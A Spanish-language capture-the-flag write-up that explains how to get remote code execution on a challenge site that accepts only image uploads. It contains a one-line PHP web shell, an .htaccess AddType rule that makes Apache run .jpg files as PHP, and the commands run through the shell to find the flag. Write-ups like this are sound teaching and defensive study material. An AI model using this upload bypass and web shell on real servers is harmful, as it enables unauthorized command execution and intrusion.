byp4ss3d
Desafío
Una página de una universidad permite subir únicamente archivos de media: .jpg, .png y .gif.
El objetivo es conseguir ejecución remota de comandos (RCE) subiendo un archivo malicioso.
Herramientas
- Navegador
- Conocimientos básicos de Apache y
.htaccess
Explicación
El primer intento fue subir un archivo con código PHP malicioso:
<?php system($_REQUEST['cmd']); ?>
Pero el servidor devolvió un mensaje de:
“Not allowed!”
Esto indica que hay un filtro que rechaza directamente archivos con extensión .php.
Intento 1: subir el PHP como .jpg
Renombramos el archivo a shell.jpg y lo subimos.
La subida funciona, pero al intentar ejecutar:
...?cmd=ls
la página muestra un error del tipo:
“The image cannot be displayed because it contains errors”
Esto confirma que no se está interpretando como PHP, sino que el servidor intenta manejarlo como una imagen.
Pista: uso de .htaccess
La pista del desafío sugiere intentar un archivo .htaccess, lo cual es importante porque Apache permite redefinir tipos MIME desde él.
Subimos un archivo .htaccess con el siguiente contenido:
AddType application/x-httpd-php .jpg
Esta línea le dice a Apache:
“Cada archivo terminado en .jpg debe ser procesado como PHP”.
El archivo .htaccess es aceptado correctamente.
Intento 2: subir nuevamente el código en shell.jpg
Al subir otra vez el archivo shell.jpg con el código PHP, ahora sí vemos un cambio:
en vez de mostrar un error de imagen, la página muestra warnings y errores de PHP, como:
-
Undefined array key “cmd”
-
system(): Argument #1 cannot be empty
-
Fatal error: ValueError …
Esto confirma que Apache está ejecutando el archivo .jpg como PHP.
Ejecutando comandos
Ahora probamos:
...?cmd=ls
Y obtenemos la lista de archivos del directorio, donde aparece shell.jpg.
Esto confirma la ejecución remota.
Luego navegamos a un directorio típico de Apache:
...?cmd=ls+/var/www
Dentro del resultado aparece la flag, por ejemplo:
flag.txt
html
Con esto ya resolvimos el desafío.